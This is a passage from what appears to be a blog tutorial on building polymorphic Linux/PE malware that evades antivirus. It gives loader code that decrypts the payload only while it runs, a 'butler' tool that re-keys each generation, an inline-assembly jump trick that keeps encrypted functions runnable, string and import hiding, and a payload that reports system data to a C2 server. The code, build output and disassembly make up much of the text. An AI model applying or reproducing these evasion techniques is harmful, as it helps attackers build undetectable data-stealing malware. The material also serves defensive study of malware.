> 0000c40 70b4 77ba c7bb 9c7f 2115 2614 9f15 9daf
> 0000c50 9aae 58e3 70ac 9e57 9952 9621 8e41 8d40
> 0000c60 8435 9851 9f54 b7e6 2854 1394 1fd0 1cd1
> 0000c70 15a4 31f8 36fd 8cbe 8bbf 01ba 29f5 ff36
> 0000c80 f833 3681 88c5 cfb5 7871 3303 3400 12ed
> 0000c90 10db 6fde 31e1 36fb cefa 2980 ed52 8359
> 0000ca0 804b 344e 7d8e 43a4 418a f58f 3c4d a3f5
> 0000cb0 dfd8 fdea d2e6 d1e3 a796 9d7e 9f54 aa51
> 0000cc0 3b5a f942 532f 3fe1 a11c 23ed ea9b 5d27
> 0000cd0 e2e3 fdcd face b742 bd6c bf72 cc73 76b8
> 0000ce0 b40d 99b0 9ca8 16ad 3ee2 17db 10db ddaa
> 0000cf0 6e12 d5d2 c8fe cbf9 8271 aa5b ac67 db62
> 0000d00 65ad a31c 84a5 85b7 0bb6 27fd 6ca6 6fa2
> 0000d10 31cc a4c3 62df ccb6 a47c f3a5 3788 1502
> 0000d20 3a0e 390b ff42 418b b743 0e3c 093d b438
> 0000d30 b286 b183 0b3d 083a e73b 0dc4 0ac1 c5b2
> 0000d40 9522 3fd9 4d0c 106a a7ae 4774 4074 a699
> 0000d50 a46f e06a e7d3 e4d6 b13e b280 fd81 4e41
> 0000d60 a491 a795 cf7c c904 7905 b6c1 215d dc93
> 0000d70 0337 5747 952c 7691 7044 3b41 8c85 5665
> 0000d80 5165 ead8 edd9 06dc cf01 cc01 7347 7042
> 0000d90 9e43 1f2d 182c ba4f 18cc 192b dd62 43a9
> 0000da0 8ffb d0aa 6480 a41d 3ed2 fe47 a18d 61d8
> 0000db0 2e52 ed92 423e 03f0 4834 04f0 c27f e63c
> 0000dc0 27e9 24e9 3ca8 3002 df03 f73c f03b 1ca7
> 0000dd0 bc6a 7ac5 d004 1d6a 74fa 6755 6054 a219
> 0000de0 e25f ce14 6ba5 68a5 2ade 4e6f 8c35 3780
> 0000df0 3105 da00 4c81 4f82 f0c4 f3c1 1fc0 8e37
> 0000e00 18f8 55a0 028e 00cd 73cc e107 a85b fe71
> 0000e10 ff34 bb31 bc88 bf8d 7bc4 f53f dea2 dadc
> 0000e20 d0cc d3e1 a0e0 4e94 d419 d71a da2d c4be
> 0000e30 af7e 1426 1327 4d22 00bd 0000 8348 08ec

What is left now is just to run the C2 server, let it listening for incoming connection and then run the obfuscated maleware. If everything has been performed correctly, as it should be, you will be able to see the incoming data in the server as connection and socket communication is taking place from the client.

A good additional feature of the software can be that an additional payload can take care of modifying the hard-disk saved copy by decrypting and encrypting it with a new random key. This will take additional efforts (not too much), and pays back with having a volatile malware which can change with time/executions, thus making more difficulty in its detection.

Resume

  • Difficulty: Medium, complex feature to handle memory decryption/encryption.
  • Obfuscation: Nice, payload is encrypted and loader is small and hidden in legit code.
  • Secure on: Hard disk, network and RAM (until first loader execution, which can be dalayed or triggered on special events).
  • Detect with: Simple signatures (on loader part) or heuristics on both the components. RAM scans now are useful only after the payload have been decrypted, and only if it is not re-encrypted again. If files on hard disk are not aligned with memory status of the PE/ELF, you can guess that something bad is happening by detecting difference between hard-disk and RAM bytecode (but also legit application can perform this, so it's just a guess).

Removing the pants only when necessary

As this funny title says, it's not always necessary to go around "naked" if it's not necessary. Next step I decided to take is to adds the necessary mechanism which allows the maleware to remain encrypted in memory when is not used, and is decrypted just before invocation of its routines. Now the application starts to be more challenging. There are lot of details which starts to sum up, like state of the memory, multi-thread protection, and so on. Imagine, for example, that the functionalities embedded in the payload are sort of API, which allows you to design some modular architecture. You need to take into account invokaction from multiple threads, the state of the non-reentrant variables and much much more.

As you can notice in the source files, as the complexity of the software increase, also the code dedicated to it increases. The payload is still unchanged, and independent on what is happening "outside" it, but the loader itself is increasing its sizes and becoming more complex. You need to take in account that the more the loader increase in size and complexity, the more it becomes unique and large, and this makes it prone to detection to scanning software. Always consider the attackable surface of your application!

This additional step is included in the folder poly/3_on_time. The loader here has been moved away from the main application, isolated in its own source code sheet. The main now appears like:

int
main(int argc, char ** argv)
{
    /* Start of the critical region */
    if(ldr_lock()) {
        return 0;
    }

    pload_run();
    ldr_unlock();
    /* End of the critical region */

    return 0;
}

Loader procedures starts with "ldr" prefix, and identifies the small utilities offered. Since the code now is assumed to be run by multiple threads, it's protected by a simple mutex (you can put something else too) which grant atomic access to the payload functionalities. This feature is necessary since now the payload will be always remain encrypted, both on the hard disk and in memory, until it has to be executed. In addition to that, if you need it, you can also specify a different key each time the section is unlocked: this results in a pratically impossible to detect (again, using signature detection) payload.

As you can see in the following code, during locking stage a mutex lock is invoked; if someone is already processing the payload area, the thread will put to sleep until the procedure already in place finishes. It's extremely important here to be aware of what the payload does, since small errors in considering the lifecycle leads to a classical starvation problem in multithreading, which ultimately leads to the freezing of your entire architecture (everyone is waiting for that lock, but who has it is waiting for another lock).

int
ldr_unlock()
{
    int ret;

    /*
     * Change ldr_key and ldr_key_size HERE and NOW to change the signature
     * of the encrypted area.
     */

    ret = mem_encrypt(ldr_key, ldr_key_size);
    pthread_mutex_unlock(&ldr_mtx);

    return ret;
}

int
ldr_lock()
{
    pthread_mutex_lock(&ldr_mtx);
    if(mem_decrypt(ldr_key, ldr_key_size)) {
        pthread_mutex_unlock(&ldr_mtx);
        return -1;
    }

    return 0;
}

This malware now can potentially change from generation to generation, since it has the possibility to change it's encryption key at every run (isolated in a variable), and performs this with small additional efforts put to the original PE/ELF file. Not only that, you can increase the size of the key to have a bigger set of possible values, and with a proper pseudo-random generator this makes basically impossible to consider all the possible signatures which can be generated.

Now you can ask to yourself: what about the first generation? Isn't that first file always the same until the first run, when it finally applies randomization? This way it can have an unique signature at the first download.

Unluckily for scanners no, since there's butler. The malware loader mechanism now has been designed to start with a dummy key and a dummy key size, which is really easy to scan once the application is compiled.

/* Area where the key resides with an unique pattern inside (for butler) */
char ldr_key[LDR_KEY_MAX] =
    {0, 1, 2, 3, 4, 5, 6, 7,
     8, 9, 0, 1, 2, 3, 4, 5,
     6, 7, 8, 9, 0, 1, 2, 3,
     4, 5, 6, 7, 8, 9, 0, 1};

/* Current key in use with an unique pattern inside (for butler) */
/*                   deadkey */
int ldr_key_size = 0xdead8e1;

Just before encrypting (from the outside) the maleware, as you saw in the previous chapters, Butler detects such signatures in the PE/ELF on the hard disk, choose a random (key, keysize) pair and encrypts everything with the selected value, injecting then such values in the application. This allows to have randomization also in the first generation of the maleware, such that can be distributed around without the fear of having the original one detected.

An example of such generation is:

xxx@xxx:/mnt/c/Projects/MOT/poly/3_on_time$ make
gcc -Wall -g -fpic -o mw ./main.c ./ldr.c ./pload.c -ldl
./ldr.c: In function ‘mem_decrypt’:
./ldr.c:34:17: warning: initialization makes pointer from integer without a cast [-Wint-conversion]
  void * start = (long)pload_start - ((long)pload_start % ps);
                 ^
./ldr.c: In function ‘mem_encrypt’:
./ldr.c:76:17: warning: initialization makes pointer from integer without a cast [-Wint-conversion]
  void * start = (long)pload_start - ((long)pload_start % ps);
                 ^
gcc -Wall -g -fpic -o butler ./butler.c
xxx@xxx:/mnt/c/Projects/MOT/poly/3_on_time$ ./butler
Injected key will be:
     30 19 0e 12 7f c7 7a d9 df ca df 5f e9 25 de f9 27 d4 27 4a c5 04 dc 3f 27 bd 9d 35 d4 89 97 04
Only the first 2 bytes of the key will be used!
64-bits executable detected...
Section detected; protecting...
Trying to inject the key...
Session key injected...
Session key size injected...

Performing signature scan of the whole file and successive blocks will lead to different signatures (depending of course on the block size) on the payload area. It's worth to notice that signatures on the loader still are the same, since it's not protected.

Signature with 2048 bytes block on such file leads to:

FILE:
93 2a 4d b1 a0 70 6e a7 53 51 18 47 6d fe 08 90 ad 91 d8 3c 42 c2 f6 bd ad a7 09 bb f9 50 2d 70

BLOCKS:
e9 7a 18 29 7f 1a 83 3f 65 ce 0d 5c ad c3 78 3b 89 3a ba 42 dc 1d cf 3f b6 18 74 7e 48 41 a4 73
da d8 7a 0c ae 51 17 6d 9f 80 90 22 4b b8 cd 2e 25 cb b7 c5 cb a6 3b 7b 91 5e 30 05 45 9f f8 5e
bd d9 78 24 d0 99 84 38 6c c3 e0 f8 1b bb f8 3b 33 f8 68 3b 52 ce 3d 8c 62 eb 2a 4a f7 b9 a7 37
56 5f 17 d3 40 60 44 21 33 1b bb 71 3e f8 54 b3 1c 12 da 2e fc 42 bd 98 9a 2a 1c e6 2f 3f da 7c
8b f5 ac e1 8c c5 5c de b4 f2 f9 51 ff e2 be a9 d8 50 d1 7e ef e3 5d 99 f0 2c 5d c2 11 74 fc e2
e1 02 d3 0c ad 89 84 84 ba 84 24 46 df a5 a2 51 35 00 24 f2 48 87 86 d5 88 d3 6e c8 00 86 3f bf
35 f3 69 a3 0d c7 41 32 70 ef aa d7 21 5b 50 2e 6d e3 4a f0 b6 80 57 67 e4 a9 df fb 9a c9 7d 85
36 4a ba bd cc 13 bf 77 b3 da 4d f1 ad e2 8f ab 4f c8 d3 c7 55 85 10 2e df c8 f7 7d df cc 97 86
a8 af 9e ec 46 92 60 48 84 dd 57 41 3a 2d 00 08 d2 e3 24 55 43 04 e5 0f ab 9e 43 7b 5d 70 fb 5c
55 86 c8 4b 5c 08 e7 46 55 67 88 ff 61 c0 ad 9d 46 a5 06 36 48 3a dc 33 d2 1e 77 9e 3a c9 a4 7c

While repeating make and butler operations again will leads to (changed blocks refer probably to text and data areas, where new payload and new key are located):

FILE:
8d 77 32 01 1b 57 73 f4 1c a4 2e 1d 7d 30 f9 8c c4 7b fb b0 41 ce 87 81 4e 1e 72 31 84 41 6a 0f

BLOCKS:
e9 7a 18 29 7f 1a 83 3f 65 ce 0d 5c ad c3 78 3b 89 3a ba 42 dc 1d cf 3f b6 18 74 7e 48 41 a4 73
71 88 8f 93 2d 5d bb b9 89 9b 3e 81 c5 b6 e2 d8 33 de 8a 0a bf 71 04 3d 34 18 93 b1 d6 df da 4f
86 fa 58 dd 24 22 fd b2 a6 94 a0 58 a7 a9 88 bf e3 de a7 cb 0e 41 a8 7a f0 c8 d7 c4 99 1b 6e 2d
56 5f 17 d3 40 60 44 21 33 1b bb 71 3e f8 54 b3 1c 12 da 2e fc 42 bd 98 9a 2a 1c e6 2f 3f da 7c
d8 c0 39 19 01 59 14 a0 fc 87 06 38 a6 96 0c fb 8c 12 65 4a 91 02 7a 0c 9d 80 0b 87 2c 07 d7 36
e1 02 d3 0c ad 89 84 84 ba 84 24 46 df a5 a2 51 35 00 24 f2 48 87 86 d5 88 d3 6e c8 00 86 3f bf
35 f3 69 a3 0d c7 41 32 70 ef aa d7 21 5b 50 2e 6d e3 4a f0 b6 80 57 67 e4 a9 df fb 9a c9 7d 85
36 4a ba bd cc 13 bf 77 b3 da 4d f1 ad e2 8f ab 4f c8 d3 c7 55 85 10 2e df c8 f7 7d df cc 97 86
a8 af 9e ec 46 92 60 48 84 dd 57 41 3a 2d 00 08 d2 e3 24 55 43 04 e5 0f ab 9e 43 7b 5d 70 fb 5c
55 86 c8 4b 5c 08 e7 46 55 67 88 ff 61 c0 ad 9d 46 a5 06 36 48 3a dc 33 d2 1e 77 9e 3a c9 a4 7c

Resume

  • Difficulty: Hard, complex features to handle.
  • Obfuscation: Nice, payload is encrypted and refreshed each time, but loader is becoming larger.
  • Secure on: Hard disk, network and RAM, even during execution of non-payload operations.
  • Detect with: Simple signatures (on loader or other parts) or heuristics on the components. RAM scans now are ineffective since the obfuscation is renewed, and possibly also updated with new keys. Heuristic through emulation can detect invalid bytecode and alert the user that something nasty is happening on that application.

An always valid application

In the previous chapters I focused on mechanisms that allow to change signature of binary files by acting directly on the binary code of the application. This allows to protect sensible areas of the application to avoid signature-based scanning techniques. But antiviruses also have different heuristics on their hands to analyze the application and guess the tasks assigned to it, and one of such techniques are based on virtual machines which "follows" the application code without loading it, and acts as it an Operating System/CPU to it. This way they can monitor the application behavior and, in our case, detect part of the bytecode which is not valid.

Until now I didn't show which are the effects of the various tools on the binary. Lets see what happens, step by step, by looking at the application once freshly compiled from scratch:

xxx@xxx:/mnt/c/Projects/MOT/poly/3_on_time$ make
gcc -Wall -g -fpic -o mw ./main.c ./ldr.c ./pload.c -ldl
./ldr.c: In function ‘mem_decrypt’:
./ldr.c:34:17: warning: initialization makes pointer from integer without a cast [-Wint-conversion]
  void * start = (long)pload_start - ((long)pload_start % ps);
                 ^
./ldr.c: In function ‘mem_encrypt’:
./ldr.c:76:17: warning: initialization makes pointer from integer without a cast [-Wint-conversion]
  void * start = (long)pload_start - ((long)pload_start % ps);
                 ^
gcc -Wall -g -fpic -o butler ./butler.c
xxx@xxx:/mnt/c/Projects/MOT/poly/3_on_time$ gdb ./mw

[...]

(gdb) disas /r pload_send
Dump of assembler code for function pload_send:
   0x0000000000400ebd <+0>:     55      push   %rbp
   0x0000000000400ebe <+1>:     48 89 e5        mov    %rsp,%rbp
   0x0000000000400ec1 <+4>:     48 81 ec 30 04 00 00    sub    $0x430,%rsp
   0x0000000000400ec8 <+11>:    89 bd dc fb ff ff       mov    %edi,-0x424(%rbp)
   0x0000000000400ece <+17>:    48 89 b5 d0 fb ff ff    mov    %rsi,-0x430(%rbp)
   0x0000000000400ed5 <+24>:    64 48 8b 04 25 28 00 00 00      mov    %fs:0x28,%rax
   0x0000000000400ede <+33>:    48 89 45 f8     mov    %rax,-0x8(%rbp)
   0x0000000000400ee2 <+37>:    31 c0   xor    %eax,%eax
   0x0000000000400ee4 <+39>:    c7 85 e4 fb ff ff 00 00 00 00   movl   $0x0,-0x41c(%rbp)
   0x0000000000400eee <+49>:    48 8b 85 d0 fb ff ff    mov    -0x430(%rbp),%rax
   0x0000000000400ef5 <+56>:    48 8d 35 94 02 00 00    lea    0x294(%rip),%rsi        # 0x401190
   0x0000000000400efc <+63>:    48 89 c7        mov    %rax,%rdi
   0x0000000000400eff <+66>:    e8 bc f9 ff ff  callq  0x4008c0 <fopen@plt>
   0x0000000000400f04 <+71>:    48 89 85 e8 fb ff ff    mov    %rax,-0x418(%rbp)
   0x0000000000400f0b <+78>:    48 83 bd e8 fb ff ff 00 cmpq   $0x0,-0x418(%rbp)
   0x0000000000400f13 <+86>:    75 1d   jne    0x400f32 <pload_send+117>
   0x0000000000400f15 <+88>:    48 8b 85 d0 fb ff ff    mov    -0x430(%rbp),%rax
   0x0000000000400f1c <+95>:    48 89 c6        mov    %rax,%rsi
   0x0000000000400f1f <+98>:    48 8d 3d 6c 02 00 00    lea    0x26c(%rip),%rdi        # 0x401192
   0x0000000000400f26 <+105>:   b8 00 00 00 00  mov    $0x0,%eax
   0x0000000000400f2b <+110>:   e8 20 f9 ff ff  callq  0x400850 <printf@plt>
   0x0000000000400f30 <+115>:   eb 74   jmp    0x400fa6 <pload_send+233>
   0x0000000000400f32 <+117>:   48 8b 95 e8 fb ff ff    mov    -0x418(%rbp),%rdx
   0x0000000000400f39 <+124>:   48 8d 85 f0 fb ff ff    lea    -0x410(%rbp),%rax
   0x0000000000400f40 <+131>:   48 89 d1        mov    %rdx,%rcx
   0x0000000000400f43 <+134>:   ba 00 04 00 00  mov    $0x400,%edx
   0x0000000000400f48 <+139>:   be 01 00 00 00  mov    $0x1,%esi
   0x0000000000400f4d <+144>:   48 89 c7        mov    %rax,%rdi
   0x0000000000400f50 <+147>:   e8 ab f8 ff ff  callq  0x400800 <fread@plt>
   0x0000000000400f55 <+152>:   89 85 e4 fb ff ff       mov    %eax,-0x41c(%rbp)
   0x0000000000400f5b <+158>:   8b 85 e4 fb ff ff       mov    -0x41c(%rbp),%eax
   0x0000000000400f61 <+164>:   48 63 d0        movslq %eax,%rdx
   0x0000000000400f64 <+167>:   48 8d b5 f0 fb ff ff    lea    -0x410(%rbp),%rsi
   0x0000000000400f6b <+174>:   8b 85 dc fb ff ff       mov    -0x424(%rbp),%eax
   0x0000000000400f71 <+180>:   b9 00 00 00 00  mov    $0x0,%ecx
   0x0000000000400f76 <+185>:   89 c7   mov    %eax,%edi

[...]

As you can see, nothing seems problematic here. The procedure is smooth, instructions are called one after the other and probably, as it is, the routine (called alone with correct arguments) will work fine. But all those op-codes there are the malware payload in clear, and if left like that, without modification, are prone to detection from signature-based scanners. This is where the butler comes into the game; by running the utility under the same folder you will encrypt those parts that needs to be scan-protected, and this has the following effects on the code:

xxx@xxx:/mnt/c/Projects/MOT/poly/3_on_time$ ./butler
Injected key will be:
     d6 ed 6c 26 0f 90 a7 d5 f0 ee 2c 0e 98 e5 80 8a 67 e8 38 e6 22 a5 d3 74 05 36 31 da 76 72 d0 4c
Only the firsts 21 bytes of the key will be used!
64-bits executable detected...
Section detected; protecting...
Trying to inject the key...
Session key injected...
Session key size injected...
xxx@xxx:/mnt/c/Projects/MOT/poly/3_on_time$ gdb ./mw

[...]

(gdb) disas /r pload_run
Dump of assembler code for function pload_run:
   0x000000000040100e <+0>:     9a      (bad)
   0x000000000040100f <+1>:     37      (bad)
   0x0000000000401010 <+2>:     3e 51   ds push %rcx
   0x0000000000401012 <+4>:     7e 15   jle    0x401029 <pload_run+27>
   0x0000000000401014 <+6>:     c1 17 51        rcll   $0x51,(%rdi)
   0x0000000000401017 <+9>:     cf      iret
   0x0000000000401018 <+10>:    a9 c1 c2 e5 75  test   $0x75e5c2c1,%eax
   0x000000000040101d <+15>:    d2 07   rolb   %cl,(%rdi)
   0x000000000040101f <+17>:    bf d8 b1 47 ee  mov    $0xee47b1d8,%edi
   0x0000000000401024 <+22>:    cb      lret
   0x0000000000401025 <+23>:    f1      icebp
   0x0000000000401026 <+24>:    7b 1c   jnp    0x401044 <pload_run+54>
   0x0000000000401028 <+26>:    f4      hlt
   0x0000000000401029 <+27>:    cc      int3
   0x000000000040102a <+28>:    94      xchg   %eax,%esp
   0x000000000040102b <+29>:    b7 61   mov    $0x61,%bh
   0x000000000040102d <+31>:    8c e0   mov    %fs,%eax
   0x000000000040102f <+33>:    79 74   jns    0x4010a5 <pload_run+151>
   0x0000000000401031 <+35>:    e4 43   in     $0x43,%al
   0x0000000000401033 <+37>:    96      xchg   %eax,%esi
   0x0000000000401034 <+38>:    8e a7 73 82 e5 89       mov    -0x761a7d8d(%rdi),%fs
   0x000000000040103a <+44>:    4c 12 f6        rex.WR adc %sil,%r14b
   0x000000000040103d <+47>:    63 8f 69 3e fe 5b       movslq 0x5bfe3e69(%rdi),%ecx
   0x0000000000401043 <+53>:    ba a1 11 80 27  mov    $0x278011a1,%edx
   0x0000000000401048 <+58>:    f2 ea   repnz (bad)
   0x000000000040104a <+60>:    a6      cmpsb  %es:(%rdi),%ds:(%rsi)
   0x000000000040104b <+61>:    7d 8c   jge    0x400fd9 <pload_info+29>
   0x000000000040104d <+63>:    eb b6   jmp    0x401005 <pload_info+73>
   0x000000000040104f <+65>:    36 bc db 33 e2 bf       ss mov $0xbfe233db,%esp
   0x0000000000401055 <+71>:    9d      popfq
   0x0000000000401056 <+72>:    4b a6   rex.WXB cmpsb %es:(%rdi),%ds:(%rsi)
   0x0000000000401058 <+74>:    82      (bad)
   0x0000000000401059 <+75>:    29 1b   sub    %ebx,(%rbx)
   0x000000000040105b <+77>:    42 e4 31        rex.X in $0x31,%al
   0x000000000040105e <+80>:    c1 c7 f7        rol    $0xf7,%edi
   0x0000000000401061 <+83>:    01 66 7c        add    %esp,0x7c(%rsi)
   0x0000000000401064 <+86>:    b4 b7   mov    $0xb7,%ah
   0x0000000000401066 <+88>:    95      xchg   %eax,%ebp
   0x0000000000401067 <+89>:    a5      movsl  %ds:(%rsi),%es:(%rdi)
   0x0000000000401068 <+90>:    d5      (bad)

[...]

Now you can notice that the flow is not anymore as it was, and even worse (due to encryption) some instruction are classified as BAD. These instruction will likely to generate an exception and crash your program if ran; this is why you need to decrypt that part of binary before its use! Now antivirus advanced heuristics will reach the same conclusion when they discover this code (by exploiting all the visible procedure symbols, for example), and they will realize that the code is not executable as it is, and this means that encryption is in place.

What we need now is a way to make the procedure valid when encrypted, and also valid when decrypted!

The next step, present in folder poly/4_runnable, overcome this problem by incrementing even more the difficulty of the malware. What the virus tries to do here is to protect only part of the procedure, bypassing all the bad code and returning straight a valid value. This is done by improving the encryption routines in both the butler tool and embedded loader. As a counter effect now the loader is getting even bigger and more complex; this means that the probability to detect it (in this article the loader is kept unprotected) increases, and probability to introduce a software bugs also get higher.

The payload now needs some little modifications, since it must introduce a token that mark where to start encrypting a procedure, and how many bytes include under the "cape". Take into account that this means basically having the ability to include payload bytecode in legit working procedures (something like, find the size of a file before decryption, and find the size of a file plus extract information once decrypted). The execution bypass, and token for encryption, is the following inline assembly macro:

/* Custom piece of assembly to be put at the begin of the section to protect */
#define MARK_TO_PROTECT(bypass) \
    asm volatile goto (         \
        "jmp %l[bypass]\r\n"    \
        "nop\r\n"               \
        :                       \
        :                       \
        :                       \
        :                       \
        bypass);

Which is included at the begin (or in whatever place) of the procedure that needs to be protected, but shall remains valid:

/* Run the module */
int
__encrypted
pload_run()
{
        MARK_TO_PROTECT(bypass);

        /* protected code is between the macro and bypass label */

bypass: 
        return 0;
}

This reflects (in case of long jumps) inside the bytecode with the following op-codes (highlighted):

[...]
   0x0000000000401535 <+0>:     55      push   %rbp
   0x0000000000401536 <+1>:     48 89 e5        mov    %rsp,%rbp
   0x0000000000401539 <+4>:     48 83 ec 30     sub    $0x30,%rsp
   0x000000000040153d <+8>:     64 48 8b 04 25 28 00 00 00      mov    %fs:0x28,%rax
   0x0000000000401546 <+17>:    48 89 45 f8     mov    %rax,-0x8(%rbp)
   0x000000000040154a <+21>:    31 c0   xor    %eax,%eax
   0x000000000040154c <+23>:    e9 ea 00 00 00  jmpq   0x40163b <pload_run+262>
   0x0000000000401551 <+28>:    90      nop
[...]

The procedure pload_run now remains valid even if part of it is encrypted, and simply returns the success value 0. If someone else run this routine, or if due a condition not true (someone is debugging you, the activation date is not reached, etc...) you can leave the code encrypted, the procedure and the application are still valid and will run without crash or data corruption.

The loader (and the butler utility) now does not simply encrypt/decrypt a chunck of memory, but contains additional logic which allows to navigate inside the procedures. This routine will locate the jump, replace it with some no-operation op-code, and makes the execution flow to run also the malware part. Once the code has finished to run, the payload will be re-encrypted again, and the NOPs will be overwritten with a valid jump as it was before decryption. Again, I'm not considering using different encryption key every time the code is executed and re-encrypted, but you can easily introduce such functionality in the code.

You can now run the C2 server and, after butler did its job, run the malware to see it's effects. If everything has be done properly (as it was in my tests), then you should be able to see the report incoming in the server. An additional experiment you can do is trying to run the payload procedure outside the loader lock and unlock routines, and realize that they are runnable without any error, but also without any effects.

int main(int argc, char ** argv)
{
        pload_run(); /* This run the encrypted routine without decryption! */

        sleep(1);

        /* Start of the critical region */
        if(ldr_lock()) {
                printf("Failed!\n");
                return 0;
        }
        pload_run();

        ldr_unlock();
        /* End of the critical region */

        return 0;
}

Resume

  • Difficulty: Hard, complex features to handle.
  • Obfuscation: Nice, payload is encrypted and can be refreshed each time, but loader is even larger (and complex).
  • Secure on: Hard disk, network and RAM, even during execution of non-payload operations. Additional logic can make it harder to detect the hidden features with heuristics.
  • Detect with: Simple signatures on loader or other parts. Now the code can run regardless of the malware part is encrypted or not, and also heuristics will have hard time in classifying it.

Devil's in the details

As you can notice, the more the mechanism becomes better and precise, the more the details which should be taken into account. This is true especially with complex architectures, and here we are considering only protection part of the software, and not communication, other hiding feature or architecture modularity. You can think that, by adopting the previous techniques, you are safe... but in fact you are not. The obfuscation routines seen here are only a part of the self-security mechanism that malwares apply on theirself.

For example, data strings used in the printf or similar API provides a good base to create signatures for the software. Scanning for "/proc/cpuinfo" or similar paths can be used to detect your software in no time (or at least ring the bell in the antivirus). If you join together all the strings you get a pretty unique fingerprint for the application to use as reference for future scans.

This can be avoided by introducing the last obfuscation mechanism of this article: data hiding. This works as for the binary counterpart, but affect the data area that are sensible and must be protected. This is also true for imported symbols. Importing for example the system call mprotect can mark your application as suspicious, and antivirus can run on it more sophisticated heuristic to exclude a threat from it. You can then use dlopen and dlsym to load a library and find a particular public procedure in it. These procedures takes string as input, and if you encrypt those strings you also hides part of your import table.

In poly/5_data_hiding folder you can find the dummy malware which also apply data hiding. First step to perform this is to remove everything which is included in quotes, and include it in a special structure which has the following form:

#define STRING_KEY_SIZE 64
#define STRING_MAX_SIZE 256

/* Structure containing encrypted strings */
typedef struct __protected_string_container {
        char key[STRING_KEY_SIZE];
        char string[STRING_MAX_SIZE];
} __attribute__((packed)) PSC;

The first part is an area of bytes used as the key for the following string. Note that the same mechanism can be used for normal variables (integers, floating, shorts or complex structures); just a cast must be done before using it. The loader then has been extended to offer an additional feature, which is the ldr_get_string procedure. This new mechanism accept in input an id (assigned to the protected string) and an area of memory where to dump the unencrypted data (which is usually allocated on the stack, and will be cleaned after the procedure returns).

String marked as to protect are organized as follows:

PSC ldr_cpuinfo = {
        {1, 1, 1, 1, 1, 1, 1, 1,
         2, 2, 2, 2, 2, 2, 2, 2,
         3, 3, 3, 3, 3, 3, 3, 3,
         4, 4, 4, 4, 4, 4, 4, 4,
         5, 5, 5, 5, 5, 5, 5, 5,
         6, 6, 6, 6, 6, 6, 6, 6,
         7, 7, 7, 7, 7, 7, 7, 7,
         8, 8, 8, 8, 8, 8, 8, 8},
         "/proc/cpuinfo\0"
};

The first element, the key, contains the token used by butler to find the area inside the ELF/PE, while the following 256 bytes are dedicated to the value to contains, and they will be encrypted. The used key is saved then in the head of the structure and everything is dumped again on the hard-disk to match the modifications.

If you scan previous version of the malware, you can actually see the strings in clear inside its data area:

xxx@xxx:/mnt/c/Projects/MOT/poly/4_runnable$ vim ./mw

[...]

@ERROR: Failed to un-protect memory^@^@^@^@^@^@ERROR: Failed to protect memory^@e^@l^@^@^@^@^@r^@WARNING: Could not locate %s
^@ERROR: Could not send data!^@/proc/cpuinfo^@/proc/meminfo^@/proc/cmdline^@/proc/version^@^@^@^@^@ERROR: Could not open a socket!^@localhost^@ERROR: Cannot resolve '%s'
^@^@^@ERROR: Cannot connect to Command&Control^

[...]

While same scan on version 5 will lead to:

ÚÛ^_^T´Nü^X<84>EÃ^Hq«Íë^_^\æ¾Â¿ê¢(<8b>^B^PÂ<97>´<86><8a>ENî£q¡Õî<97>ëW<9b>°<84>uv;èdÚ=^GO%&âxL`I^OË<87>'ÝyÓ¤^QßÑ^X$±m
fruUS^AæÚ:9Ãø<9d>  `?v¶½^]P<82>^F ácà^Tår®¥Y£ùÇ<82><8f>ËAUÜ<9d>ãÅÞûÉwgÂ8<9c><81>~o¡¯îQ<^_ë<9c>«¤§õ¥«Þ55ñâùõ<95>ß^[^PÌ
tËd^G9¿C^[^\^AX»½ðÜmI!~ya<9e>¥¸^@^@^@^@H<8b>MødH3^L%(^@^@^@t^EèióÿÿÉÃUH<89>åH<81>ì ^A^@^@<89>½ìþÿÿdH<8b>^D%(^@^@^@H<8
9>Eø1Àéè^@^@^@J»^MlÃ8<9c>6^RÓUÖ"Ôb¾µI³éÇ<99>~b_9¼<88>ìÏÔ´^M7Ã<9c>Ñ^C<90>³pöu<81>&^\<ÈËüïcÙ>^Däÿ^A:_^Hi_^XÜ×ÀLÁ^]FoºÇÌ
|¢ó}q=^Q^W^@¯^Yl<87>Ï<82>Þ½Z<80>9^B^^9ÀdÎ×Ö%±^MÏÌà^U^V[^C^?>o'­^N<87><95><86><9d><91>T^S×ÜËC<9d>8Zd^]$Ð<9e>^HÔ<97>â<9
6>ú^Gª^E²/<80>|G"{_ð^-T<9e>kÎd^GMN!+<9b>òfäÎõáð¶ä¬&<85>^HI#^A^Z?<^Gò­¨»g=CÀC·ø<86>J½¾ó¥<9c>Dü^Cû<85>uO*        f9l©¢^
BO<9d>^^^K^McW^î<87>¸^@^@^@^@H<8b>MødH3^L%(^@^@^@t^EèAòÿÿÉÃUH<89>åH<81>ì0^A^@^@dH<8b>^D%(^@^@^@H<89>Eø1Àéý^@^@^@JIr<8
6>ÙÜ9mñ0¶<8a>|3¥y<9a><8d>ÍáçÃé<8a>^A^Uê­<8a><82><98>½ûÀA^T©ò§;ú<95>Â6yï{ý<84>Æëí¿ª^]i<82><82>^N^]^G\<80>9^BöA0<90>:YÐ
ÛÝÙh^A"a^TaZ<89>Ö<86>Îó<91>^T^HlOTÆüzV÷^M©ü^UÞàc<97>ØN{á^]¯|ã<89>£ô^?k<94>RÈ\3l^MÈÃcíö·cÁ<97>\#é§<85>qr<88>ÐiÜ;^GrÑ\^
UoMVs<82>:^OT^YËX<8c>Ä<8d>æ÷I ^C·ëV<85>|9í«!5S^^^A?%^@F5L<9e>{Þt^W]^       ^C³Ú¼§[é:<8b>¯ÎðBAI^?^Z9XB<8f>³ÿ ¥þ«Ü^B^O
      )<98>ñÒPk1+/}-^QáÞ ^[~+^H:Ð^Z^Q±¸^@^@^@^@H<8b>uødH34%(^@^@^@t^Eè

Now this is data, so no assumption can be done an it from the antivirus. In fact is perfectly legit to read and modify your data area.

Resume

  • Difficulty: Hard, complex features to handle. Just miss only one point to get a free crash.
  • Obfuscation: Nice, payload is encrypted and can be refreshed each time, but loader is even larger (and complex). Data that is sensible can be protected too, so no more easily readable strings or values.
  • Secure on: Hard disk, network and RAM, even during execution of non-payload operations. Additional logic can make it harder to detect the hidden features with heuristics.
  • Detect with: Simple signatures on loader, if not metamorphic. Effects on the system, but once seen is too late and the malware is already running.

Final resume

In the article I showed what is a possible evolution, step by step, for malwares. Everything start with the core application, which tries to do its tasks, and evolves through a new form that needs to be protected from scans. The first idea, and most naive one, is to encrypt the entire virus, but if on one side this offers maximum protection, on the other side is prone to detection from heuristics. Encrypted-detection heuristics are pretty good in nowadays.

